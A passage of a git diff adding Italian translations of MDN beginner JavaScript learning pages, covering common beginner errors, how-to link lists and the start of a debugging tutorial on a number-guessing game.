+ <dd>A volte è necessario svolgere la stessa attività più di una volta di seguito. Ad esempi, guardando una lista di nomi. Nella programmazione i loop svolgono questo lavoro molto bene. Qui vedremo la struttura dei loop in JavaScript</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Funzioni — blocchi di codice riusabile</a></dt>
+ <dd>Un altro concetto essenziale nel coding sono le <strong>funzioni</strong>. Le <strong>Funzioni</strong> ti consento di memorizzare un pezzo di codice che esegue una singola attività all'interno di un blocco definito e quindi richiamare il codice ogni volta che ne hai bisogno usando un singolo breve comando — invece di dover scrivere lo stesso codice più volte. In questo articolo esploreremo i concetti fondamentali dietro funzioni come la sistassi di base, come invocare e definire funzioni, ambito e parametri.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Costruisci la tua funzione</a></dt>
+ <dd>Con la maggior parte della teoria essenziale trattata in precedenza, questo articolo offre un'esperienza più pratica. Qui farai un po' di pratica con la creazione della tua funzione personalizzata. Lungo la strada, spiegheremo anche alcuni ulteriori dettagli utili su come gestire le funzioni.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Valori di ritorno delle funzioni</a></dt>
+ <dd>L'ultimo concetti essenziale che devi sapere sulle funzioni è il tipo di ritorno. Alcune funzioni non ritornano un valore utile dopo l'esecuzione, ma altre lo fanno. É importante capire quali sono i loro valori, come utilizzarli e come fare in modo che le tue funzioni personalizzate restituiscano valori utili</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduzione agli eventi</a></dt>
+ <dd>Gli eventi sono azioni o occorrenze che si verificano nel sistema che si sta programmando, il sistema ti informa in modo che tu possa rispondere in qualche modo se lo desideri. Ad esempio se l'utente fa click su un pulsante in una pagina Web, è possibile che si desideri rispondere a tale azione visualizzando una casella di informazioni. In quest'ultimo articolo discuteremo alcuni concetti importanti relativi agli eventi e vedremo come funzionano nei browser.</dd>
+</dl>
+
+<h2 id="Valutazioni">Valutazioni</h2>
+
+<p>La seguente valutazione metterà alla prova la tua comprensione dei principi di base di JavaScript trattati nelle guide sopra.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Galleria di immagini (carousel)</a></dt>
+ <dd>Ora che abbiamo esaminati i blocchi fondamentali di JavaScript, testeremo la tua conoscenza dei loop, funzioni, condizioni ed eventi creando un oggetto abbastanza comune che vedrai su molti siti Web: una galleria di immagini basata su JavaScript.</dd>
+</dl>
diff --git a/files/it/learn/javascript/comefare/index.html b/files/it/learn/javascript/comefare/index.html
new file mode 100644
index 0000000000..275eb0cf8d
--- /dev/null
+++ b/files/it/learn/javascript/comefare/index.html
@@ -0,0 +1,291 @@
+---
+title: Risolvere problematiche frequenti nel tuo codice JavaScript
+slug: Learn/JavaScript/Comefare
+tags:
+  - Principianti
+  - imparare
+translation_of: Learn/JavaScript/Howto
+---
+<div>R{{LearnSidebar}}</div>
+
+<p class="summary">I link seguenti indicano soluzioni a problematiche frequenti in cui puoi imbatterti quando programmi in javaScript.</p>
+
+<h2 id="Errori_comuni_dei_principianti">Errori comuni dei principianti</h2>
+
+<h3 id="Ortografia_corretta">Ortografia corretta</h3>
+
+<p>Se il tuo codice non funziona e/o il browser segnala che qualcosa non è definito, controlla di aver scritto tutti i tuoi nomi di variabili, nomi di funzioni, etc. correttamente.</p>
+
+<p>Alcune comuni funzioni built-in del browser che causano problemi sono: </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Corretto</th>
+   <th scope="col">Sbagliato</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>getElementsByTagName()</code></td>
+   <td><code>getElementbyTagName()</code></td>
+  </tr>
+  <tr>
+   <td><code>getElementsByName()</code></td>
+   <td><code>getElementByName()</code></td>
+  </tr>
+  <tr>
+   <td><code>getElementsByClassName()</code></td>
+   <td><code>getElementByClassName()</code></td>
+  </tr>
+  <tr>
+   <td><code>getElementById()</code></td>
+   <td><code>getElementsById()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Posizione_del_punto_e_virgola">Posizione del punto e virgola</h3>
+
+<p>Devi assicurarti di non aver posizionato il punto e virgola nel posto sbagliato, ad esempio :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Corretto</th>
+   <th scope="col">Sbagliato</th>
+  </tr>
+  <tr>
+   <td><code>elem.style.color = 'red';</code></td>
+   <td><code>elem.style.color = 'red;'</code></td>
+  </tr>
+ </thead>
+</table>
+
+<h3 id="Funzioni">Funzioni</h3>
+
+<p>Ci sono alcune cose che possono andare storte con le funzioni.</p>
+
+<p>Uno degli errori più comuni è dichiarare la funzione ma non chiamarla da nessuna parte. Per esempio:</p>
+
+<pre class="brush: js">function myFunction() {
+  alert('This is my function.');
+};</pre>
+
+<p>Questo codice non farà nulla, a meno che non venga chiamato con la seguente istruzione:</p>
+
+<pre class="brush: js">myFunction();</pre>
+
+<h4 id="Ambito_scope_della_funzione">Ambito (scope) della funzione</h4>
+
+<p>Ricorda che le <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">funzioni hanno il loro specifico ambito (scope)</a> — non è possibile accedere ad una variabile definita all'interno di una funzione al di fuori di essa, a meno di dichiararla globalmente (ossia fuori da ogni funzione), oppure <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">restituire il valore (return)</a> dalla funzione stessa.</p>
+
+<h4 id="Eseguire_codice_posto_dopo_un_istruzione_return">Eseguire codice posto dopo un istruzione return</h4>
+
+<p>Ricordati anche che quando incontra l'istruzione return, l'interprete JavaScript esce dalla funzione — nessun codice all'interno della funzione verrà eseguito dopo l'istruzione return.</p>
+
+<p>Infatti, alcuni browsers (come Firefox) ti daranno un messaggio di errore nella console dello sviluppatore se hai inserito codice dopo un'istruzione return. Firefox restituirà "unreachable code after return statement" (codice irraggiungibile dopo l'istruzione return).</p>
+
+<h3 id="Notazione_per_gli_oggetti_opposto_al_normale_assegnamento">Notazione per gli oggetti opposto al normale assegnamento</h3>
+
+<p>Quando fai un normale assegnamento in JavaScript, usi un singolo simbolo di uguale, ad es. :</p>
+
+<pre class="brush: js">const myNumber = 0;</pre>
+
+<p>Con gli <a href="/en-US/docs/Learn/JavaScript/Objects">Oggetti</a> occorre invece prestare attenzione alla corretta sintassi. L'oggetto deve essere definito delimitandolo con parentesi graffe, i nomi dei membri devono essere separati dai loro valori con i due punti e i membri tra loro da virgole. Per esempio:</p>
+
+<pre class="brush: js">const myObject = {
+  name: 'Chris',
+  age: 38
+}</pre>
+
+<h2 id="Definizioni_Base">Definizioni Base</h2>
+
+<div class="column-container">
+<div class="column-half">
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#A_high-level_definition">Cos'è JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#What_is_a_variable">Cos'è una variabile?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Cosa sono le stringhe?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#What_is_an_Array">Cos'è un array?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Cos'è un ciclo?</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Cos'è una funzione?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Cos'è un evento?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Object_basics">Cos'è un oggetto?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#No_really_what_is_JSON">Cos'è il formato JSON?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction#What_are_APIs">Cos'è una web API?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#The_document_object_model">Cos'è il DOM?</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Casi_base_duso">Casi base d'uso</h2>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Generali">Generali</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#How_do_you_add_JavaScript_to_your_page">Come aggiungi JavaScript alla tua pagina?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#Comments">Come aggiungi commenti al tuo codice JavaScript?</a></li>
+</ul>
+
+<h3 id="Variabili">Variabili</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Declaring_a_variable">Come dichiari una variabile?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Initializing_a_variable">Come inizializzi una variabile con un valore?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables#Updating_a_variable">Come aggiorni il valore di una variabile?</a> (vedi anche <a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Assignment_operators">Operatori di assegnamento</a>)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables#Variable_types">Quali sono i tipi di dato in JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Loose_typing">Cosa significa 'debolmente tipizzato'?</a></li>
+</ul>
+
+<h3 id="Tipi_di_dati_numerici">Tipi di dati numerici</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Types_of_numbers">Che tipi di numeri tratti nel tuo sviluppo web?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Arithmetic_operators">Come fare matematica di base in JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Operator_precedence">Quali sono le regole di precedenza degli operatori e come sono gestite in JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Increment_and_decrement_operators">Come incrementi e decrementi valori in JavaScript?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Math#Comparison_operators">Come confronti i valori in JavaScript?</a> (ad es. vedere qual'è il più grande oppure se un valore è uguale ad un altro).</li>
+</ul>
+
+<h3 id="Stringhe">Stringhe</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Creating_a_string">Come crei una stringa in JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Single_quotes_versus_double_quotes">Devi usare singoli o doppi apici?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Escaping_characters_in_a_string">Come rappresenti i caratteri di escape nelle stringhe?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Concatenating_strings">Come unisci le stringhe tra loro?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Numbers_versus_strings">Puoi unire stringhe con numeri?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Finding_the_length_of_a_string">Come trovi la lunghezza di una stringa?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Retrieving_a_specific_string_character">Come trovi quale carattere occupa una certa posizione in una stringa?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Finding_a_substring_inside_a_string_and_extracting_it">Come trovi ed estrai una data sottostringa da una stringa?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Changing_case">Come cambi minuscole/maiuscole in una stringa?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Updating_parts_of_a_string">Come sostituisci una data sottostringa con un'altra?</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Arrays">Arrays</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Creating_an_array">Come crei un array?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Accessing_and_modifying_array_items">Come accedi e modifichi gli elementi di un array?</a> (include arrays multidimensionali)</li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Finding_the_length_of_an_array">Come trovi la lunghezza di un array?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Adding_and_removing_array_items">Come aggiungi e rimuovi elementi di un array?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Converting_between_strings_and_arrays">Come dividi una stringa in elementi di un array, o unisci elementi di un array a costituire una stringa?</a></li>
+</ul>
+
+<h3 id="Debugging_JavaScript">Debugging JavaScript</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong#Types_of_error">What are the basic types of error?</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools, and how do you access them?</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#The_Console_API">How do you log a value to the JavaScript console?</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Using_the_JavaScript_debugger">How do you use breakpoints and other JavaScript debugging features?</a></li>
+</ul>
+
+<p>For more information on JavaScript debugging, see <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a>. Also, see <a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong#Other_common_errors">Other common errors</a> for a description of common errors.</p>
+
+<h3 id="Making_decisions_in_code">Making decisions in code</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">How do you execute different blocks of code, depending on a variable's value or other condition?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#if_..._else_statements">How do you use if ...else statements?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Nesting_if_..._else">How do you nest one decision block inside another?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Logical_operators_AND_OR_and_NOT">How do you use AND, OR, and NOT operators in JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#switch_statements">How do you conveniently handle a large number of choices for one condition?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Ternary_operator">How do you use a ternary operator to make a quick choice between two options based on a true or false test?</a></li>
+</ul>
+
+<h3 id="Loopingiteration">Looping/iteration</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">How do you run the same bit of code over and over again?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#Exiting_loops_with_break">How do you exit a loop before the end if a certain condition is met?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#Skipping_iterations_with_continue">How do you skip to the next iteration of a loop if a certain condition is met?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#while_and_do_..._while">How do you use while and do ... while loops?</a></li>
+ <li>How do you iterate over the elements in an array?</li>
+ <li>How do you iterate over the elements in a multidimensional array?</li>
+ <li>How do you iterate over the members in an object?</li>
+ <li>How do you iterate over the members of an object nested inside an array?</li>
+</ul>
+</div>
+</div>
+
+<h2 id="Intermediate_use_cases">Intermediate use cases</h2>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Functions">Functions</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Built-in_browser_functions">How do you find functions in the browser?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Functions_versus_methods">What is the difference between a function and a method?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">How do you create your own functions?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Invoking_functions">How do you run (call, or invoke) a function?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Anonymous_functions">What is an anonymous function?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_parameters">How do you specify parameters (or arguments) when invoking a function?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">What is function scope?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">What are return values, and how do you use them?</a></li>
+</ul>
+
+<h3 id="Objects">Objects</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Object_basics">How do you create an object?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Dot_notation">What is dot notation?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Bracket_notation">What is bracket notation?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Setting_object_members">How do you get and set the methods and properties of an object?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#What_is_this">What is <code>this</code>, in the context of an object?</a></li>
+ <li><a href="/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">What is object-oriented programming?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Constructors_and_object_instances">What are constructors and instances, and how do you create them?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Other_ways_to_create_object_instances">What different ways are there to create objects in JavaScript?</a></li>
+</ul>
+
+<h3 id="JSON">JSON</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#JSON_structure">How do you structure JSON data, and read it from JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#Loading_our_JSON">How can you load a JSON file into a page?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#Converting_between_objects_and_text">How do you convert a JSON object to a text string, and back again?</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Events">Events</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_handler_properties">What are event handlers and how do you use them?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Inline_event_handlers_%E2%80%94_don%27t_use_these">What are inline event handlers?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#addEventListener()_and_removeEventListener()">What does the <code>addEventListener()</code> function do, and how do you use it?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#What_mechanism_should_I_use">Which mechanism should I use to add event code to my web pages?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_objects">What are event objects, and how do you use them?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Preventing_default_behaviour">How do you prevent default event behaviour?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">How do events fire on nested elements? (event propagation, also related — event bubbling and capturing)</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_delegation">What is event delegation, and how does it work?</a></li>
+</ul>
+
+<h3 id="Object-oriented_JavaScript">Object-oriented JavaScript</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">What are object prototypes?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes#The_constructor_property">What is the constructor property, and how can you use it?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes#Modifying_prototypes">How do you add methods to the constructor?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">How do you create a new constructor that inherits its members from a parent constructor?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance#Object_member_summary">When should you use inheritance in JavaScript?</a></li>
+</ul>
+
+<h3 id="Web_APIs">Web APIs</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#Active_learning_Basic_DOM_manipulation">How do you manipulate the DOM (e.g. adding or removing elements) using JavaScript?</a></li>
+</ul>
+</div>
+</div>
diff --git a/files/it/learn/javascript/first_steps/cosa_è_andato_storto/index.html b/files/it/learn/javascript/first_steps/cosa_è_andato_storto/index.html
new file mode 100644
index 0000000000..1fa4343de8
--- /dev/null
+++ b/files/it/learn/javascript/first_steps/cosa_è_andato_storto/index.html
@@ -0,0 +1,253 @@
+---
+title: Cosa è andato storto? Problemi con Javacript
+slug: Learn/JavaScript/First_steps/Cosa_è_andato_storto
+translation_of: Learn/JavaScript/First_steps/What_went_wrong
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">Quando abbiamo realizzato il gioco "Indovina il numero"  nell'articole precedente, potresti esserti accorto che non funziona. Niente paura — questo articolo mira ad aiutarti e non farti strappare i capelli per tali problemi, fornendoti alcuni semplici aiuti su come trovare e correggere gli errori in JavaScript .</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what JavaScript is.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>To gain the ability and confidence to start fixing simple problems in your own code.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Types_of_error">Types of error</h2>
+
+<p>Generally speaking, when you do something wrong in code, there are two main types of error that you'll come across:</p>
+
+<ul>
+ <li><strong>Syntax errors</strong>: These are spelling errors in your code that actually cause the program not to run at all, or stop working part way through — you will usually be provided with some error messages too. These are usually okay to fix, as long as you are familiar with the right tools and know what the error messages mean!</li>
+ <li><strong>Logic errors</strong>: These are errors where the syntax is actually correct but the code is not what you intended it to be, meaning that program runs successfully but gives incorrect results. These are often harder to fix than syntax errors, as there usually isn't a resulting error message to direct you to the source of the error.</li>
+</ul>
+
+<p>Okay, so it's not quite <em>that</em> simple — there are some other differentiators as you drill down deeper. But the above classifications will do at this early stage in your career. We'll look at both of these types going forward.</p>
+
+<h2 id="An_erroneous_example">An erroneous example</h2>
+
+<p>To get started, let's return to our number guessing game — except this time we'll be exploring a version that has some deliberate errors introduced. Go to Github and make yourself a local copy of <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> (see it <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">running live here</a>).</p>
+
+<ol>
+ <li>To get started, open the local copy inside your favourite text editor, and your browser.</li>
+ <li>Try playing the game — you'll notice that when you press the "Submit guess" button, it doesn't work!</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: You might well have your own version of the game example that doesn't work, which you might want to fix! We'd still like you to work through the article with our version, so that you can learn the techniques we are teaching here. Then you can go back and try to fix your example.</p>
+</div>
+
+<p>At this point, let's consult the developer console to see if we can see any syntax errors, then try to fix them. You'll learn how below.</p>
+
+<h2 id="Fixing_syntax_errors">Fixing syntax errors</h2>
+
+<p>Earlier on in the course we got you to type some simple JavaScript commands into the <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a> (if you can't remember how to open this in your browser, follow the previous link to find out how). What's even more useful is that the console gives you error messages whenever a syntax error exists inside the JavaScript being fed into the browser's JavaScript engine. Now let's go hunting.</p>
+
+<ol>
+ <li>Go to the tab that you've got <code>number-game-errors.html</code> open in, and open your JavaScript console. You should see an error message along the following lines: <img alt="" src="https://mdn.mozillademos.org/files/13496/not-a-function.png" style="display: block; margin: 0 auto;"></li>
+ <li>This is a pretty easy error to track down, and the browser gives you several useful bits of information to help you out (the screenshot above is from Firefox, but other browsers provide similar information). From left to right, we've got:
+  <ul>
+   <li>A red "x" to indicate that this is an error.</li>
+   <li>An error message to indicate what's gone wrong: "TypeError: guessSubmit.addeventListener is not a function"</li>
+   <li>A "Learn More" link that links through to an MDN page that explains what this error means in huge amounts of detail.</li>
+   <li>The name of the JavaScript file, which links through to the Debugger tab of the devtools. If you follow this link, you'll see the exact line where the error is highlighted.</li>
+   <li>The line number where the error is, and the character number in that line where the error is first seen. In this case, we've got line 86, character number 3.</li>
+  </ul>
+ </li>
+ <li>If we look at line 86 in our code editor, we'll find this line:
+  <pre class="brush: js">guessSubmit.addeventListener('click', checkGuess);</pre>
+ </li>
+ <li>The error message says "guessSubmit.addeventListener is not a function", so we've probably spelled something wrong. If you are not sure of the correct spelling of a piece of syntax, it is often good to look up the feature on MDN. The best way to do this currently is to search for "mdn <em>name-of-feature</em>" on your favourite search engine. Here's a shortcut to save you some time in this instance: <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>.</li>
+ <li>So, looking at this page, the error appears to be that we've spelled the function name wrong! Remember that JavaScript is case sensitive, so any slight difference in spelling or casing will cause an error. Changing <code>addeventListener</code> to <code>addEventListener</code> should fix this. Do this now.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Not_a_function">TypeError: "x" is not a function</a> reference page for more details about this error.</p>
+</div>
+
+<h3 id="Syntax_errors_round_two">Syntax errors round two</h3>
+
+<ol>
+ <li>Save your page and refresh, and you should see the error has gone.</li>
+ <li>Now if you try to enter a guess and press the Submit guess button, you'll see ... another error! <img alt="" src="https://mdn.mozillademos.org/files/13498/variable-is-null.png" style="display: block; margin: 0 auto;"></li>
+ <li>This time the error being reported is "TypeError: lowOrHi is null", on line 78.
+  <div class="note"><strong>Note</strong>: <code><a href="/en-US/docs/Glossary/Null">Null</a></code> is a special value that means "nothing", or "no value". So <code>lowOrHi</code> has been declared and initialised, but not with any meaningful value — it has no type or value.</div>
+
+  <div class="note"><strong>Note</strong>: This error didn't come up as soon as the page was loaded because this error occurred inside a function (inside the <code>checkGuess() { ... }</code> block). As you'll learn in more detail in our later functions article, code inside functions runs in a separate scope than code outside functions. In this case, the code was not run and the error was not thrown until the <code>checkGuess()</code> function was run by line 86.</div>
+ </li>
+ <li>Have a look at line 78, and you'll see the following code:
+  <pre class="brush: js">lowOrHi.textContent = 'Last guess was too high!';</pre>
+ </li>
+ <li>This line is trying to set the <code>textContent</code> property of the <code>lowOrHi</code> variable to a text string, but it's not working because <code>lowOrHi</code> does not contain what it's supposed to. Let's see why this is — try searching for other instances of <code>lowOrHi</code> in the code. The earliest instance you'll find in the JavaScript is on line 48:
+  <pre class="brush: js">var lowOrHi = document.querySelector('lowOrHi');</pre>
+ </li>
+ <li>At this point we are trying to make the variable contain a reference to an element in the document's HTML. Let's check whether the value is <code>null</code> after this line has been run. Add the following code on line 49:
+  <pre class="brush: js">console.log(lowOrHi);</pre>
+
+  <div class="note">
+  <p><strong>Note</strong>: <code><a href="/en-US/docs/Web/API/Console/log">console.log()</a></code> is a really useful debugging function that prints a value to the console. So it will print the value of <code>lowOrHi</code> to the console as soon as we have tried to set it in line 48.</p>
+  </div>
+ </li>
+ <li>Save and refesh, and you should now see the <code>console.log()</code> result in your console. <img alt="" src="https://mdn.mozillademos.org/files/13494/console-log-output.png" style="display: block; margin: 0 auto;"> Sure enough, <code>lowOrHi</code>'s value is <code>null</code> at this point, so there is definitely a problem with line 48.</li>
+ <li>Let's think about what the problem could be. Line 48 is using a <code><a href="/en-US/docs/Web/API/Document/querySelector">document.querySelector()</a></code> method to get a reference to an element by selecting it with a CSS selector. Looking further up our file, we can find the paragraph in question:
+  <pre class="brush: js">&lt;p class="lowOrHi"&gt;&lt;/p&gt;</pre>
+ </li>
+ <li>So we need a class selector here, which begins with a dot (.), but the selector being passed into the <code>querySelector()</code> method in line 48 has no dot. This could be the problem! Try changing <code>lowOrHi</code> to <code>.lowOrHi</code> in line 48.</li>
+ <li>Try saving and refreshing again, and your <code>console.log()</code> statement should return the <code>&lt;p&gt;</code> element we want. Phew! Another error fixed! You can delete your <code>console.log()</code> line now, or keep it to reference later on — your choice.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unexpected_type">TypeError: "x" is (not) "y"</a> reference page for more details about this error.</p>
+</div>
+
+<h3 id="Syntax_errors_round_three">Syntax errors round three</h3>
+
+<ol>
+ <li>Now if you try playing the game through again, you should get more success — the game should play through absolutely fine, until you end the game, either by guessing the right number, or by running out of lives.</li>
+ <li>At that point, the game fails again, and the same error is spat out that we got at the beginning — "TypeError: resetButton.addeventListener is not a function"! However, this time it's listed as coming from line 94.</li>
+ <li>Looking at line number 94, it is easy to see that we've made the same mistake here. We again just need to change <code>addeventListener</code> to <code>.addEventListener</code>. Do this now.</li>
+</ol>
+
+<h2 id="A_logic_error">A logic error</h2>
+
+<p>At this point, the game should play through fine, however after playing through a few times you'll undoubtedly notice that the "random" number you've got to guess is always 1. Definitely not quite how we want the game to play out!</p>
+
+<p>There's definitely a problem in the game logic somewhere — the game is not returning an error; it just isn't playing right.</p>
+
+<ol>
